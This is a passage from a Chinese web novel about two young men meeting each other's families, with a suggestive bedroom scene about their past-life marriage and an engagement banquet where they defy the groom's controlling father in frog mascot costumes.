陈清棠看着他,一字一句很认真:“如果他们是盛气凌人地来对我指手画脚,或者命令我,或者拿捏我,那我会当沈鹤是个孤儿,我的家门永远对他们关闭。” 沈爷爷脸色一变。 陈清棠继续说:“很简单的道理,爱一个人,首先就要尊重他,包括尊重他的意志,尊重他的选择,尊重他所爱的人和事。” “我是沈鹤的爱人,他们如果都不尊重我,那很显然他们也没学会尊重沈鹤,他们根本就不爱沈鹤,那我就当沈鹤没有父母。” “我不会让他们通过拿捏住我,从而来拿捏住沈鹤,逼沈鹤低头。我永远跟我的爱人站在一起。” 沈爷爷听完后,脸色又变了:“看来我真是老了,脑子也不灵光,想事情没有你们年轻人透彻。” 陈清棠:“当然,如果他们学会了爱和尊重,我跟沈鹤的家,永远欢迎他们。” “我没理由拒绝,多两个人来爱沈鹤。” 沈爷爷连连点头:“好,特别好。你比我想象中更加成熟懂理,那我就不操心了。” 又说:“什么时候见你的父母?” — 跟陈清棠回家那天,沈鹤特意去买了很多东西。 有酒,有化妆品,有人参补药,有黄金项链等,都是高端大气但不贵重的。 怕太贵重对方收礼会有心理负担,反而适得其反。 钱暂时是爷爷给的,说第一次上门不能失了礼数。 陈清棠牵引沈鹤走进自家的小花园,问他:“紧张吗。” 沈鹤:“还可以。” 大概那个家里,唯一还算个优点的,就是从小就要出席很多宴会,什么大场面,大人物都见过。 所以沈鹤不管什么情况,都能处变不惊。 陈清棠抬起手,眼睛看向他:“那我推门了?” 沈鹤忽然抓住他的手。 陈清棠笑:“怎么了?紧张就说。” 沈鹤理了理自己的衣服,确保自己衣衫工整,这才放开他:“好了。” 陈清棠仰头亲了他一口:“好了,你这气质气场,没有家长会不喜欢你的。” 上次他给陈妈妈看照片,陈妈妈就一直在夸赞。 屋内 陈妈妈看陈爸爸一会儿弄一弄果盘,一会儿又收拾茶几上的书,确保它们堆得很整齐,一会儿又摸摸水杯还烫不烫。 陈妈妈终于忍不住了:“你坐下来好不好,一直晃啊晃的烦死了!” 陈爸爸讨好地嘿嘿笑:“人第一次上门嘛,留个好印象。” 陈妈妈:“你看看你没个安定的样子,人只会觉得你毛躁,还怎么有好印象?” 陈爸爸:“好好,我坐。” 这时门开了。 陈妈妈和陈爸爸都条件反射似的站了起来。 陈爸爸后知后觉地记得要端庄,于是又坐了回去,等着对方来跟他打招呼。 结果他扭头一看,陈妈妈早就箭步飞奔过去,满脸热情堆笑:“你是小沈吧!哎呀长得一表人才的!” 陈爸爸:“……” 沈鹤礼貌地朝她鞠躬,也朝沈爸爸鞠躬,两边问好。 陈清棠没忍住笑,在他耳边轻声:“不用鞠躬,你点头就行。还说不紧张呢……” 沈鹤微挑眉:“鞠躬代表重视。” 陈清棠:“嘴硬。” 陈妈妈接过沈鹤手里的东西,一边招呼他一边把东西放下。 回头看见陈爸爸跟个大爷似的还坐在那里,狠狠踢了他一脚,咬牙跟他耳语:“你死人呐。” 陈爸爸小声:“你不懂,一个家里有人唱白脸,就要有人唱红脸,不然这小子以为我们家棠棠很好欺负。” 陈妈妈懒得理他,热情地给沈鹤递水,递吃的:“我跟他爸还寻思,你们得等会儿才到呢,来这么早,路上不热吧。” 沈鹤点头谢过,不管陈妈妈递给他什么都接下:“不热,今天天气很凉快。” 陈妈妈双手在腿上搓了搓:“那就好,那就好。” 一时间无话了,屋里忽然安静下来。 几人大眼瞪小眼,不知道该说什么。 陈妈妈试图破冰,问了句:“不是你家长要来吗,什么时候到啊,要不我先弄饭了?” 沈鹤:“等会儿就到,我帮您吧。” 陈妈妈:“嗨呀,那多不好意思,你是客人,坐着吧,昂。” 陈清棠:“你就让他帮嘛,他本来话就少,不让他做点事儿,他干坐着等很尴尬。” 沈鹤点头:“是的。” 陈妈妈忽然笑了:“你还挺听他话,那好吧,那你进厨房帮我剥个蒜,都是一家人我不跟你客气哈。” 陈妈妈站起身,又对陈清棠说:“你去看看楚希,他是不是一个人在家,是的话让他来咱家吃饭,咱家今天有客人吃得比较丰盛。” “小沈不介意吧?我们家跟楚希家很多年的邻居了,差不多算是亲戚。” 沈鹤:“不介意,我跟楚希也是朋友。” 陈妈妈脸上始终挂着笑:“那就好,那就好。” 进了厨房,陈妈妈洗菜,沈鹤剥蒜,陈爸爸在一边用盆子处理鱼。 陈爸爸就问沈鹤:“听说你家里是经商的?家庭条件是不是很好?” 沈鹤低头嗯了声,也不避讳他们:“但我跟家里闹得很僵,以后不会靠家里。” 等会儿是爷爷过来,或许以后订婚,结婚,沈父沈母也不会到场。 这件事怎么都瞒不住的。 所以沈鹤必须先跟陈清棠的爸妈透个底,让他们做好心理准备。 陈爸爸张着嘴,欲言又止。 陈妈妈动作也顿了下,却不深问,只是说:“那你生活费怎么办啊?够不够?” “不够的话,你不要自己撑着,跟大人说,以后我多给棠棠一些钱。” 沈鹤忽然嘴里酸涩:“你们不问为什么吗。” 一般人听见孩子跟家里闹僵,第一时间就是劝说 说什么父母都是爱孩子的,父母都是为孩子好,父子母子之间没什么过不去的,要孝敬父母之类 大家都喜欢这种,不分青红皂白,先把道德枷锁甩出来,套在你脖子上审判你。 陈妈妈把烂菜叶子扔进垃圾桶:“你的情况,棠棠多少跟我们说过一点。你是个懂事的好孩子,要做什么自然是有你的道理,阿姨和叔叔都相信你肯定有原因,也相信你能处理好。” 沈鹤剥蒜的动作慢了。 到此刻,他明白了陈清棠身上为什么总有一种闪耀的自信。 这种自信,是被父母的爱浇灌起来的底气。 这种底气,沈鹤从来没从家里得到过。 如今却在陈清棠的父母身上,体验到了一点。 沈鹤感觉自己像是下水道里,偷到了一点阳光的老鼠。 陈爸爸咳了声缓和气氛,又问:“那你对以后的人生,有什么规划?” 沈鹤不卑不亢:“我创立了一个工作室,在自己创业,目前就是把工作室经营好,以后逐渐做大。” 陈爸爸睁大眼:“啊,那还挺不错的,就是创业很辛苦,你能撑得下来吗。” 沈鹤:“我能。从小跟家里学了不少,不会太有难度,我以后会给他很好的生活。” 陈妈妈疼惜地叹气:“你也才刚成年,还是个孩子,慢慢来啊好孩子,咱不着急。” 又踢了陈爸爸一脚:“你叔叔也是跑业务的,有什么难处你说一声,叔叔帮你。” 陈爸爸赶忙应:“诶诶,对。这么小的年纪就开始创业,有魄力。” 沈鹤下意识要拒绝,嘴唇动了动,最终说:“好。” 现在的沈鹤,也学会了依靠别人。 也逐渐明白了,对亲近的人,去依靠对方,不会让对方觉得烦人,厌恶。 反而会让对方感觉自己被信任,会拉近彼此的关系。 这都是陈清棠花了好大的功夫,才给他纠正过来的。 沈鹤又跟陈妈妈陈爸爸保证:“阿姨叔叔放心,我不会让我那边的家庭关系,去影响到陈清棠。以后他不必跟我爸妈打交道,我会处理好一切。” 陈妈妈:“阿姨不担心,棠棠他也是个成年人,他也要学会怎么处理复杂的关系,所以你多找他商量。” “以后的日子,你们互相扶持着去过,而不是单靠你,或者单靠他去撑。我相信他对该怎么跟你的父母相处,也有自己的想法。” 等沈鹤从厨房里出来时,陈清棠正跟楚希一起窝在沙发上打游戏。 陈清棠拍拍身旁的位置。 沈鹤便挨着他坐下。 陈清棠:“聊得还好吗?是不是压力很大。” 沈鹤浅笑,拉住他的手:“很轻松,聊完后心里更轻松了。你父母很好。” 陈清棠摸着他的眉毛:“以后也是你的爸妈。” 沈鹤亲吻他的手:“好。” 楚希终于忍不住倒嘶了声:“还有人在呢,你俩。太肉麻了。” 沈鹤跟陈清棠相视一笑。 眼里都是幸福的滋味。 没多久,沈鹤的爷爷也来了。 一家人坐在一起热热闹闹地吃饭。 有长辈在,小辈几乎就插不上话了,姜还是老的辣,他们长辈怎么都能聊起来,从两个孩子身上聊开,聊到生意,又聊到天南地北 总之席面上就没冷过场。 楚希虽然是个外人,但融入得很好,埋头就是猛吃,陈妈妈做的饭菜他最喜欢了。 沈鹤这边,他在给陈清棠剥虾。 两人倒是没说话,安静地听大人谈他们订婚宴的事。 订婚宴决定在城北办,城北的大酒店多,档次也高。 订婚宴的时间,就定在他们开学前。 陈妈妈陈爸爸的意思是,把两家的亲戚请过来,大家一起吃顿饭就好。 沈爷爷有些犹豫:“毕竟是大事,要不还是办个宴会?多请点亲朋好友,热闹一些?” 陈妈妈陈爸爸看向两个孩子:“你们觉得呢?” 陈清棠问沈鹤:“我听你的。” 沈鹤放下筷子:“阿姨叔叔,我想大办。” 陈妈妈:“大办是?多大?” 沈鹤淡淡地:“有多大,办多大。” 陈爸爸拿不定:“没必要吧?” 他们这边结婚,都是请一桌酒席就完事儿的。 沈鹤:“有必要。必须把这桩婚事钉死。这样我父母才不会有回旋的余地。” 沈鹤就是要所有人,认识他沈鹤的人,认识沈父的人,那些名门圈,全部都知道,他沈鹤的婚姻已经落实了,他另一半的位置,已经有人占着了。 就是不给沈父任何一丁点,破坏他婚事的可能。 沈爷爷琢磨了下:“小鹤这个考虑是对的,他父亲的脾气我太了解。” 陈妈妈:“那行。我们这边是没意见的。” 沈鹤看向沈爷爷。 沈爷爷立刻就懂他的意思了:“没事,到时候用爷爷的名义去发请帖,爷爷会尽量多请一些人。” “至于你父母……他们爱来就来,不来算了。” 又抬头冲陈妈妈陈爸爸笑笑:“不好意思啊,他父母思想有点问题,这孩子从小就跟父母不亲,让你们见笑了。” 陈妈妈忙摆手:“嗐没事,只要孩子们幸福,我们做长辈就知足了。” 这顿饭吃完后,几个长辈又聊了半天。 沈爷爷走的时候,已经是晚上了。 本来陈家父母想留他住,但沈爷爷说司机已经来接他了,晚上还约了人,就不留了。 沈鹤却留了下来过夜。 晚上跟陈清棠睡的一间房。 两人躺在床上,陈清棠窝在沈鹤怀里,感觉很幸福。 沈鹤亲他的脸,亲他的唇,逐渐往下。 陈清棠用手把他的脸刨开:“疯了吧,这是在我家。我爸妈还在。” 沈鹤半眯起眼,抓住他的手又开始亲,亲完了放在鼻尖深嗅:“你好香。” “脸也香,手也香,哪里都香……闻着好甜,好喜欢……” 陈清棠:“……别发。情。” 沈鹤最后深嗅了一口,停下来把他抱在怀里:“那,聊聊天。” 陈清棠动也懒得动:“聊什么。” 沈鹤静默了几秒:“聊,前世。我都怎么对你的。” 陈清棠睁眼看他:“要学?” 沈鹤:“不,是要改。我想知道我哪里做得不好,哪里让你不舒服,让你难受,我以后都改。” 陈清棠望着天花板想了想:“按照一般人的标准来说,你做得挺好的,是个很合格的丈夫。” “工资卡上交,下班就回家,还分了沈氏的股份给我做保障,有什么事我跟你说了,你也都能理解,都能做到,包括一些日常生活习惯。” 沈鹤鼻尖摩挲着他的脸颊:“不好的呢。” 陈清棠:“嗯……比如,出门在外你从来不牵我,从来不跟我亲密。” 沈鹤微顿:“这也会让你难过吗。” 陈清棠垂目:“不是。是我心情的起落,你懂吗,从满心期待,到最后心逐渐冷了,不再期待的那个过程。” “刚结婚那会儿,我真的很开心,我跟暗恋很久的人结婚了,觉得自己好幸运……” 领完证那几天,陈清棠做什么都是笑着的。 他知道沈鹤对他没感情,这件事两人在结婚前就说开了,但没关系,感情可以培养。 而且陈清棠对自己很自信,他自信他是一个在大多数人眼里,都具有魅力的人。 所以自信沈鹤喜欢上他,是迟早的事。 虽然不急,但培养感情是要的。 刚结婚时,陈清棠会让沈鹤把周末空出来,起码空一天,用来两人单独相处。 陈清棠会在周五就规划好,周末他们要去哪里玩,玩什么,吃什么,怎么进行约会。 那时候做什么都兴致勃勃的,满心热情。 约会时,沈鹤虽然不扫兴,陈清棠让他怎么他就怎么,但他也不能提供更多的情绪价值了。 比如天气晴好的日子,一起在公园散步时,看见牵手的情侣,陈清棠也会尝试着,偷偷去牵沈鹤的手。 但那时他也算是第一次恋爱,再加上对方是他喜欢的人,陈清棠也难免有点羞涩。 一路上,陈清棠不断地在心里给自己打气,不断地鼓起勇气,尝试着伸出手。 那个过程宛如温水煮青蛙,越来越煎熬。 终于,在陈清棠彻底下定决心,要去牵沈鹤的手时,沈鹤看出来了他想做什么。 沈鹤没说好,也没说不好,只是把手揣进兜里。 于是陈清棠的心,宛如过山车一般,瞬间坠落到谷底。 这个动作,怎么看都是拒绝的意思。 陈清棠安慰自己,也许是沈鹤对他还没感情,所以做这种事不自在。 但即便这样,还是难免心情低落。 本来计划好的很完美的约会,就这么变得索然无味,甚至蒙上了一层淡淡的失落和难过。 陈清棠嗓音缓缓:“我也是个高傲的人,第一次谈恋爱,我还很纯情,被喜欢的人拒绝,我也会觉得难堪……” 沈鹤抱紧他,心口发酸:“对不起。” 陈清棠摇摇头:“现在想来,你那时应该是害羞,而不是拒绝。但我因为被拒绝受到打击,就没看到你发红的耳尖。” “我以为你就是单纯地排斥我,不喜欢我。” 沈鹤亲吻他嘴角:“我以后再也不会拒绝你。” 陈清棠:“这只是一件很小的事,但每天都要发生好几次。” “它们并不足以让人心痛、难过,但心情一直这样起起伏伏也是一种折磨,期待一直在落空,人心逐渐就冷了,我慢慢就对你没有期待了。” “我甚至有点恨我自己,为什么不放弃,为什么还在尝试。我那时真的倔强,始终觉得,只要我坚持,只要我努力,你就会看到我,爱上我……” 陈清棠呼了口气:“重生后才明白,你根本就是一块木头,正常人的恋爱模式,不适合你,无法打动你,那并不会让你开窍。” 沈鹤不知道该说什么,心情很复杂,还泛着细密的疼:“对不起。” 陈清棠继续说:“这点事还不足以让我退缩,最让我无力的是,我怎么努力,都走不进你的心。” 有时候沈鹤工作出了问题,好几天都会待在书房,陈清棠敲门进去给他送吃的,会有意无意地问几句,看看自己能不能帮上忙。 但每次沈鹤都是一句轻飘飘的不用,说没事。 哪怕再疲惫,情绪再不好,沈鹤也只闷着,一个人撑着。 陈清棠察觉到他心情不佳,想做沈鹤爱吃的饭菜,让他开心点,但又不知道沈鹤喜欢什么。 开口直接问他,沈鹤却只是淡淡地说:“不用特别将就我,你做你喜欢吃的就好。” 陈清棠的热情被浇灭,但他还是没放弃,在晚上时抱住沈鹤,企图给他一点安慰。 沈鹤却推开他说:“抱歉,我现在实在没心思。要是你难忍……就用一下玩具吧。” 当时沈鹤的语气并不冰冷,反而有点疼惜他,并十分客观地提出了自己的解决办法。 但那晚陈清棠感觉到了耻辱,生了好几天的气。 哪怕是周末,到了约定做。爱的时间,他也故意不给沈鹤。 但更让陈清棠无力的是,沈鹤甚至没发现他在生气,他只能自己把自己哄好。 日子就这么不咸不淡地过着,偶尔扎一下心 直到再后来,沈鹤的公司因为政府忽然的某个政策,陷入了大危机,差点破产。 那次陈清棠在新闻上看到这个消息,已经做好了跟他共渡难关的准备,提早把自己的财产都清算完毕,甚至还跟爸妈借了点。 他打算好了,如果沈鹤想挽救公司,他就把自己的钱都给沈鹤,帮他一起共渡难关。 如果沈鹤准备放弃公司,那他也会把他拥有的所有,都给沈鹤,让他去东山再起。 结果等陈清棠捧着他一颗真心给沈鹤时,沈鹤很惊讶地看着他,看得他难堪,尴尬。 最后沈鹤说:“安心,如果真到那个地步,我会提前跟你离婚,处理好一切事,不会让债务连累到你,还会给你额外补偿。” 陈清棠简直不知道这个人在说什么,脑子里到底在想什么。 他只是很伤心,觉得他们之间无可救药了。 沈鹤一次次把他推开,陈清棠无法解释,他只能认为,沈鹤不爱他,如果拖累他,沈鹤会觉得很愧疚。 所以为了不承担这份愧疚,沈鹤宁愿跟他离婚。 陈清棠感受到了自己跟沈鹤之间,隔着银河系,这个人他怎么都无法靠近。 这如何能让人不心死。 陈清棠长呼一口气:“现在再回头看,你那时说跟我离婚,应该只是单纯地不想让我跟你一起背债务,没别的意思。” 那时沈鹤眼里的惊讶,应该也没别的意思,就是纯惊讶,外加不理解。 不理解陈清棠为什么能做到那个地步,不理解正常爱人间互相扶持、彼此依靠、风雨同舟的亲密关系。 陈清棠:“但陷入爱情的人总是敏感的,总是会想很多,总是在期待回应,得不到想要的回应,心就一点点凉了。” 而沈鹤也不是故意不给他回应,而是沈鹤不会爱人,也不知道正确的亲密关系是怎样的,所以无法给出陈清棠想要的回应。 陈清棠感觉搂着他腰的手力道好大,让他有点难以呼吸了。 他稍微推开了点沈鹤:“好了,你现在已经被调。教好了。” “所以以后主动点好吗,我只会觉得你给我的爱不够,不会觉得你过于变态、扭曲。” 沈鹤忽然抬头看他:“我取悦你,好吗。” 陈清棠:“??” 在他还没反应过来时,沈鹤忽然钻进了被子底下。 接着,陈清棠感受到勒着他腰上的裤带松了。 这时候他还没猜到沈鹤要做什么。 直到 陈清棠猛然一抖,一把掀开被子,双手捧起沈鹤的脸,呼吸不稳地问:“你做什么。” 沈鹤眸色暗沉,压着侵略性:“不喜欢吗。” 陈清棠想了下:“不是。是很脏。你不用这样……” 沈鹤目光灼灼:“可是我想。想让你舒服,想看你露出很可爱的表情,想看你感受到自己被爱时,那种高高在上、掌控一切的姿态……” 像只坐在王位上,昂扬着脑袋的小猫咪。 陈清棠心软了,逐渐松开了他:“那,那你要是不舒服,不要勉强,可以随时停止。” 沈鹤嗯了声,低下了头。 很快,陈清棠白皙的脸被潮红席卷,那一抹艳丽的红,从他的脸蔓延到脖颈,到全身 陈清棠背后靠着一个枕头,他微张着唇,半眯起眼看沈鹤为他做那种事。 有时沈鹤恶作剧一下,陈清棠的脖颈便会高高仰起,仰成一个好看的弧度,骨节修长的手指也会紧抓着被子。 因为父母在隔壁房间,他咬死了嘴唇,不让自己发出半点声音。 沈鹤换了手,让他喘气,低沉磁性的嗓音不自觉夸赞他:“宝贝,你好性感,好美……我爱你,好喜欢你现在的样子……” “放松,可以喘气……这样你喜欢吗,嗯?” “重一点会好些吗……你好漂亮,我爱你,你是我的宝贝……是我的珍宝。” 陈清棠抽出几分清明看他,眼尾都发着让人怜爱的红:“沈哥,我就说你喜欢sweettalk。” 那天听陈清棠提过一嘴,沈鹤去查了什么是sweettalk。 沈鹤:“你不喜欢吗?我喜欢,总忍不住说,总想让你感受到更多一点的爱。” 陈清棠眼波流转:“我也喜欢……多说一些。” 沈鹤看了他两秒,那样动人的情态模样:“等会儿再说。” 陈清棠见他又低下了头,瞬间头皮发麻。 不知过了多久,沈鹤处理了下,又来抱他:“服务可以吗。” 陈清棠累得满头都是细密的汗,整个人懒洋洋的:“嗯,哪里学的。” 沈鹤替他擦着汗,嗓音里沙哑:“看书,书上说,这样会让伴侣非常愉悦。” 陈清棠笑了,身体要往下缩:“我也帮帮你吧。” 沈鹤立马按住他,眼底两分痛苦:“不。我怕我收不住。” 陈清棠笑:“好吧,那就麻烦你忍一忍。” 陈清棠:“那,睡觉了?” 沈鹤关了灯,闭上眼:“嗯。晚安。” 陈清棠:“晚安。” 沈鹤低头亲吻他的脸:“我爱你。我的宝贝。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【全文完结】 第72章第72章终得一世圆满 订婚那天是个晴朗的日子,一眼望去,天空万里无云。 八月的天气暑热正盛,房间里空调开得很足。 楚希趴在沙发上,一边吃着冰冻西瓜块,一边打游戏。 陈清棠坐在桌前,稍微理一下自己的发型,打发下时间。 楚希一局游戏完了,抬头问他:“沈鹤呢,他人哪儿去了?” 陈清棠:“前厅待客吧,他们家请的客人比较多。” 还包括商业上的合作伙伴,有钱人都喜欢借着各种大大小小的宴会,稍微扩展下人脉关系,顺便趁机谈谈生意什么的。 沈爷爷年纪也大了,一个人接待不过来。 楚希啊了声:“你呢,你咋不去?” 陈清棠擦着护手霜:“多累人啊。而且人一多,气味就混杂,今天来的好多人身上都喷了香水,闻不惯……” 沈鹤知道他鼻子对气味敏感,所以人多的地方,都不会让他去。 楚希换了个姿势,手撑着脑袋:“那沈鹤家里人不会觉得你没礼数?” 陈清棠刚要说话,门就开了,一道身影打断了他。 屋里两人看着这个不速之客,面面相觑了下。 陈清棠礼貌询问:“请问您是走错房间,找不到宴会厅吗?出门右转直走。” 男人面无表情,淡淡地看着他,眼里的审视和挑剔山一样压过来:“我是沈鹤的父亲。” 陈清棠微顿,楚希也立马坐了起来。 陈清棠依旧挂着符合礼数的笑,但这笑并没有因为他是沈鹤的父亲更多一点:“宴会厅出门右转,不用谢。” 沈父根本没理会他,在屋里自顾自走了圈,视线绕着他上下打量:“穿的什么衣服,还有你那胸针,上面的钻石都次货。” 陈清棠表情不变:“谢谢关心,我和沈鹤今天的服装配饰,都是我妈妈亲自去店里挑的。” 陈家毕竟不比沈家有钱,这些东西已经是他们能力范围中,能给出的最好的了。 陈清棠觉得很不错,沈鹤也觉得很不错。 沈父拍了拍手,一个穿着西装的精英男人从门外进来,手里拎着两套衣服,还有一个包。 沈父接过东西,把这些往陈清棠面前一扔:“换上。” 陈清棠疑惑:“为什么?” 沈父平和道:“客人那么多,好多都是社会名流,你们穿得这么廉价,像什么样子,别丢了沈家的脸面。” 陈清棠忽然笑了,像看笑话一样摊了摊手:“沈家的脸面关我什么事。” “而且,沈家的脸面因为一套衣服就能丢?那沈家真的有脸面吗,如果沈家的脸面这么薄,我就是披着龙。袍,别人也不会更尊敬我。” 楚希也直起腰杆小小声:“就是……” 沈父眼里闪过凌厉:“如果以后你是这个态度,那沈家可能不太欢迎你,你也不适合进入沈家,别以为订了婚就能长久。” 陈清棠嗓音不徐不疾:“你只是想要规训我,控制我,如果被规训、被控制,是成为你们沈家人的条件,那我就不进你家门了。” “但是你儿子是要跟我走的,可能也不会进你沈家的门了。” 楚希站在他身边,敌视着沈父:“就是。你管你自己儿子还不够,你还要跑来管别人的儿子,神经病,疯了吧。” 沈父一贯是个体面人,也是个见过大世面的人,不管什么场面,都能处变不惊。 但往往是这种人,最听不得直白粗俗的话。 所以楚希那句神经病一瞬间刺痛了他,沈父脸色变得难看。 他正要训斥陈清棠,门忽然开了。 沈鹤大步流星地走进来,一把将陈清棠护在身后,那双漆黑的眸子,沉着冰冷的怒意:“谁让你来找他的。” 沈父咬着牙:“逆子。订婚这么大的事,也不跟父母商量,我还不能来了?” 沈鹤胸膛起伏很大:“出去。如果你今天安安静静的,还有你作为父亲的位置,否则这里不欢迎你。” 从小到大,沈父从来没听过,沈鹤用这么恶劣的语气跟他说话,下意识抡起一个巴掌就要甩过去。 沈鹤眼疾手快,从半空捏住他的手腕,截断了他的巴掌:“我以前不还手,并不是因为打不过你。但现在不一定了。” “如果你还想要有点做父亲的尊严,就出去。” 沈父气得脸通红:“你敢还手?!畜生!” 沈鹤松开他,把陈清棠抱在怀里安抚,一边淡淡地说:“你可以试试。” 沈父胸口的怒意无处发泄,但也拿他没办法,最后深吸一口气:“好,今天我就纵容你一回。你迟早有回家求我的一天,你爷爷做不了沈家的主,也帮不了你多久了。” 厚重的脚步声逐渐远了。 楚希立刻嚣张地对着门骂:“什么东西!气死我了!沈鹤你再不来,你老婆就要被人欺负了!” 沈鹤一把将陈清棠抱在怀里,心疼得不停地说:“对不起,对不起……” 楚希见状,识趣地出门去了,还把门给他们带上。 沈鹤眼里的戾气很浓烈:“对不起,我早该想到他可能会来,让你受委屈了,是我不好,对不起。” 一想到自己曾经感受过的窒息,陈清棠也感受了一下,沈鹤就要被那股情绪,冲昏脑袋了。 陈清棠却是仰起脸朝他笑:“好了没事。沈哥,我不是一个需要被保护的人,你不用事事都把我护着。” “首先我很强,任何事情我都能应对,哪怕今天你不来,我也能解决你爸,其次我不会任由别人欺负到我头上,挨打就还手这是我的原则,不会因为任何人破例。” 陈清棠去亲吻他的鼻尖,脸颊,唇角:“别生气了好吗,今天是我们的好日子,开心一点。” 沈鹤的情绪被他的温柔包裹着,逐渐平复了些,他把脸埋在陈清棠颈窝: “我真恨,我要背叛那个家,就应该背叛得更彻底一点,但偏偏像跪久了的奴隶,有奴性一样,无法完全跟他决裂……” 如果他能做到完全反抗自己的父亲,今天就应该特别叮嘱门卫,不要把沈父放进来的。 是沈爷爷说,沈父好歹是他父亲,撕破脸难看,对谁都没好处。 而且沈爷爷说,沈父已经同意他们的婚事,沈鹤还以为那个人终于醒悟了,反省后改变了…… 沈鹤咬着牙,拳头攥得死紧:“我竟然听了那样的话,对他还抱有期待……结果让他跑到你面前来,让你白白遭受屈辱。” 陈清棠亲吻他的耳朵,拍着他的背:“好了没事了,我不觉得屈辱。孩子对父母抱有期待是件很正常的事,只是你摊上了那样不正常的父母,你没有错,是他们的错。” 他捧着沈鹤的脸,两人对视:“不要觉得自己去期待是不对的,好吗,你可以试试期待我的父母,他们会给你正确的回应,那才是正常父子母子相处的模式。” “不要因为任何人,失去期待的能力,失去希望,好吗宝贝?” 沈鹤只觉得,陈清棠的眼睛那样的好看,好像装着整个世界,朝他看过来时,心脏都变得如温水般柔软,将他从复杂、纷乱的情绪中拉扯出来。 只要能被这双眼睛注视着,他愿意倾尽一切,别无所求。 沈鹤:“好。” 这时,敲门声响了。 楚希的声音响起:“那个,你们好了吗?我可以进来了吗,我手机在里面。” 陈清棠说了进,下一刻门就开了。 楚希笑嘻嘻,身后还跟着一个巨大的……悲伤蛙? 楚希看他们表情疑惑,就解释说:“哦,这是周辰,他在外面兼职打工,穿这个玩偶套装发传单,因为距离近,我就让他来蹭个席。” “棠你不介意吧。” 陈清棠:“都是朋友,我很欢迎。” 周辰摘下头套,冲他们爽朗的笑,额头上的碎发已经被汗水完全打湿:“谢谢啊,我等会儿随个礼,当是祝福好了。” 外面气温可是有三十几度,周辰还穿着这个悲伤蛙的玩偶套,要不是身体素质好,早就中暑晕倒了。 楚希心疼坏了,忙拿着纸巾给他擦汗,又拿桌上的冰冻西瓜给他解渴。 陈清棠看着周辰身上的悲伤蛙套装,忽然心头一动。 他凑近沈鹤,问了句:“想不想玩儿个大的,彻底叛逆一场,向你父亲宣战?” 沈鹤定定地看着他。 — 宴会厅来来往往很多人,有站在名利金字塔顶端的社会名流,也有普通的工薪阶层。 前一方是沈鹤家里那边请的人,后一方是陈清棠家里这边请的人。 沈爷爷本以为这个订婚宴会有些混乱,没想到,两方人相处得意外和谐。 甚至能坐在同一桌吃饭,说笑。 大家都很有礼数,完全不存在谁瞧不起谁的问题。当然,这是因为沈家这艘船足够大,有实力谁都会尊敬。 沈爷爷偏头跟沈父说:“你看,这天不也没塌吗?” 沈父没搭话,他的脸从刚才起就是铁青的。 本来想一走了之,沈鹤爱怎么样就怎么样,但儿子订婚这么大的事,他作为父亲不在,别人会怎么看他? 别人私下里又会怎么议论他? 为了那点脸面,沈父硬是逼着自己坐了下来,吃完这场席面。 期间有人来跟他搭话,敬酒,沈父也咬着牙强颜欢笑。 陈清棠的父母过来跟他打过招呼,沈父根本不理人 陈家父母是心胸开阔的,都不放在心上,只跟爷爷说了几句,然后转身招待宾客去了。 沈爷爷用拐杖敲了下沈父小腿:“好了,别在这里甩脸子。” 沈父这才收敛一点。 这时,台上一个人拿着话筒走了上去。 楚希在学校里主持过不少活动,虽然没主持过婚宴,但他咂摸着应该差不多。 拿着话筒往台中央一站,开始官方发言。 一系列漂亮话后,楚希露出一个笑:“今天,我们的一对主角,给大家准备了一个节目,让我们有请!” 众人都伸长了脖子望着。 结果望了半天,一对悲伤蛙玩偶在众人的目光下,优雅登台,还朝着四面八方行了个礼。 陈妈妈跟陈爸爸说:“他们搞什么?” 陈爸爸:“不知道。” 沈爷爷也有点懵。 楚希接着说:“主角俩有点害羞,所以今天就以这样的方式跟大家见面,接下来他们将为大家献舞一曲。” 沈爷爷脸色顿时变了。 今天来的人,都有头有脸的,这样的把戏太上不得台面了。 旁边沈父更是要吃人一样,胸膛剧烈起伏:“像什么样!脸都被丢完了!” 屋里高雅的古典乐被强行暂停,换上了流行的电子音乐《troublemaker》。 音乐声响起,穿着悲伤蛙玩偶套装的陈清棠跟沈鹤,开始大方地跳起舞。 动作笨拙,滑稽,又很有节奏感。 两人配合默契,逗笑了台下一大堆人,很多人还纷纷拿起手机进行拍摄。 沈父人都快炸了,立刻拨通电话:“多喊几个人,给我把他们拖走!” 沈爷爷想阻止,但张了张嘴最终没说出话。 沈鹤这行为,确实有点太超过了,连他都觉得不成体统。 沈爷爷想找陈家父母商量一下,让几个孩子赶紧下来。 但转头一看,陈妈妈和陈爸爸正站在桌旁,跟着音乐一起舞蹈。 这对中年夫妻的舞姿凌乱,脸上的神情却是由衷的开心,时不时还喝彩两声。 好像这对他们来说,根本算不得什么事。 沈爷爷顿住了,忽然明白,为什么陈清棠会是那样好的性格。 或许他该承认,沈鹤说得对,自信、开朗、活泼、温柔等,这些正向的东西,只有正确的、纯粹的爱,才能浇灌出来。 他们沈家不具备那样的土壤。 安静很久后,沈爷爷握着拐杖慢慢地坐了回去。 很快一支舞跳完了,音乐声没停,陈清棠跟沈鹤穿着玩偶套,手里拎着一个篮子,随意向台下抛一些礼盒。 盒子里面装的是金豆子。 众人嬉闹着去抢,氛围很好。 撒完礼盒后,沈鹤摘了头套,冲众人鞠躬致谢。 他脸上有细密的汗,但笑容酣畅淋漓的爽朗,像四月天的阳光一样耀眼、璀璨,充满盎然的生机, 沈爷爷从来没见过沈鹤那样自由地、开怀地,又无比满足的笑容。 旁边沈父叫的保镖到了,他起身就要带着人上台去逮沈鹤,沈爷爷一把按住他。 沈父一张脸气得通红:“你还护着他!你看看他干的什么事!回去我不打死他!” 沈爷爷:“算了……算了。他不会回家了。” “孩子大了,什么对他才是好的,他自己心里清楚,你再也管不住了。” 沈父还要说什么,沈爷爷一个眼神制止了他。 沈父只能把一肚子气忍回去,冷冷道:“你就纵着他吧,我管不了了,我也不管了!” 沈鹤站在台上,把沈父负气离开的背影看得很清楚,嘴角的笑都张扬了两分。 陈清棠牵着他下台,进了休息室后两人把头套摘掉。 不同于刚才喧闹嘈杂的环境,屋里很安静,安静到让人心安。 两人对视一眼,都能看到彼此眸色里涌动的欢欣雀跃,还有正在蔓延的灼灼滚烫。 不知道是谁先笑出声 很快两人就都笑起来 笑得爽朗、大声,笑到捧腹。 放肆恣意的笑声,席卷了整个房间。 等笑累了,才把玩偶服一脱,瘫在沙发上。 陈清棠偏头问:“爽吗沈哥。” 沈鹤眼里都是回味:“爽。” 这种感觉太爽了。 